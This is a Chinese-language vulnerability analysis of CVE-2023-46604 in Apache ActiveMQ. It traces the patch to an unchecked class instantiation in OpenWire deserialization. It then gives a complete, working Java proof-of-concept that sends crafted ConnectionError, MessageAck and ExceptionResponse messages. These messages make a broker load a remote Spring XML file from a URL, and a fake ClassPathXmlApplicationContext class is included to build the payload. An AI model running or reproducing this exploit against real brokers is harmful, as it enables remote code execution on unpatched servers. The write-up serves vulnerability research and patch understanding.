补充:好像已经有 CNVD 编号了:CNVD-2023-80853
CVE:CVE-2023-46604

从 Github 上的 commit 记录里,很容易找到那个疑似修补漏洞的 commit:https://github.com/apache/activemq/pull/1098/commits

经过简单的比对,发现新代码对 Throwable 类型进行了验证,保证只有 Throwable 类型的变量到达某个函数。我们直接拉源码看一看:

/// org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable
private Throwable createThrowable(String className, String message) {
    try {
        Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
        Constructor constructor = clazz.getConstructor(new Class[] {String.class});
        return (Throwable)constructor.newInstance(new Object[] {message});
    } catch (Throwable e) {
        return new Throwable(className + ": " + message);
    }
}

不难看出,这里直接实例化并执行了某个类的构造函数,但是这个构造函数必须含有一个单 String 类型的参数。我们反向追以下,看看哪里调用了 createThrowable 方法,尝试寻找下入口:

createThrowable 
    tightUnmarsalThrowable or looseUnmarsalThrowable
        in class <MessageAckMarshaller / ExceptionResponseMarshaller / ConnectionErrorMarshaller>

这个调用链并不复杂,利用 IDEA 的 FindUsage 功能,可以轻松的找到入口,是三个消息类型的反序列化函数入口。

中间有两个函数 tightUnmarsalThrowablelooseUnmarsalThrowable ,实际功能无差别,取决于 ActiveMQ 的某个设置项决定在实际运行时调用哪个函数进行反序列化。

wireFormat.tightEncodingEnabled
    If enabled, optimize for smaller encoding on the wire. This increases CPU usage. It is enabled by default.

原理搞清楚以后,只需要构造对应类型的 Message 并发送就可以了,以 ConnectionError 为例:

/// org.apache.activemq.openwire.v12.ConnectionErrorMarshaller#tightUnmarshal
/**
 * Un-marshal an object instance from the data input stream
 *
 * @param o the object to un-marshal
 * @param dataIn the data input stream to build the object from
 * @throws IOException
 */
public void tightUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn, BooleanStream bs) throws IOException {
    super.tightUnmarshal(wireFormat, o, dataIn, bs);

    ConnectionError info = (ConnectionError)o;
    info.setException((java.lang.Throwable) tightUnmarsalThrowable(wireFormat, dataIn, bs));
    info.setConnectionId((org.apache.activemq.command.ConnectionId) tightUnmarsalNestedObject(wireFormat, dataIn, bs));

}

从代码里不难看出,这里需要设置 ConnectionError中的 exception 字段,这个字段的内容则是通过 tightUnmarsalThrowable 获取的,那么我们只要构造一个 ConnectionError 消息,并设置好这个消息的 exception 字段,就可以触发了。

var msg = new ConnectionError();
msg.setConnectionId(new ConnectionId());
msg.setException(o);
((ActiveMQConnection) connection).getTransportChannel().oneway(msg);

除了 ConnectionError 外,另外两个也可以使用类似的方法构造。

特别注意的是,构造的时候 ClassPathXmlApplicationContext 需要自己覆写一个 fake class,需要继承 Throwable 才能正常构造 payload,而服务端在反序列化的时候,并未检查待实例化的类是否继承了 Throwable ,所以进而导致了这个 RCE 漏洞。

package org.example;

import org.apache.activemq.ActiveMQConnection;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ConnectionError;
import org.apache.activemq.command.ConnectionId;
import org.apache.activemq.command.ExceptionResponse;
import org.apache.activemq.command.MessageAck;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.jms.Connection;
import javax.jms.Session;

public class Main {
    public static void main(String[] args) throws Exception {

//        String target = args[0];
//        String xml = args[1];

        String target = "tcp://127.0.0.1:61616";
        String xml = "http://127.0.0.1:8000/poc.xml";

        System.out.println(target);
        System.out.println(xml);

        ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory(target);
        Connection connection = factory.createConnection();
        connection.start();

        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);

        // POC 1: 使用 ConnectionError 类构造 POC
        // MessageProducer producer = session.createProducer(destination);
        Throwable o = new ClassPathXmlApplicationContext(xml);
        var msg = new ConnectionError();
        msg.setConnectionId(new ConnectionId());
        msg.setException(o);
        ((ActiveMQConnection) connection).getTransportChannel().oneway(msg);

        // POC2: 使用 MessageAck 构造 POC
        var msg2 = new MessageAck();
        msg2.setPoisonCause(new ClassPathXmlApplicationContext(xml));
        ((ActiveMQConnection) connection).getTransportChannel().oneway(msg2);

        // POC3: 使用 ExceptionResponse 构造 POC
        var msg3 = new ExceptionResponse(new ClassPathXmlApplicationContext(xml));
        ((ActiveMQConnection) connection).getTransportChannel().oneway(msg3);

        connection.close();
    }
}
/// file: org/springframework/context/support/ClassPathXmlApplicationContext.java
package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{

    private String message;

    public ClassPathXmlApplicationContext(String message) {
        this.message = message;
    }

    public String getMessage() {
        return message;
    }
}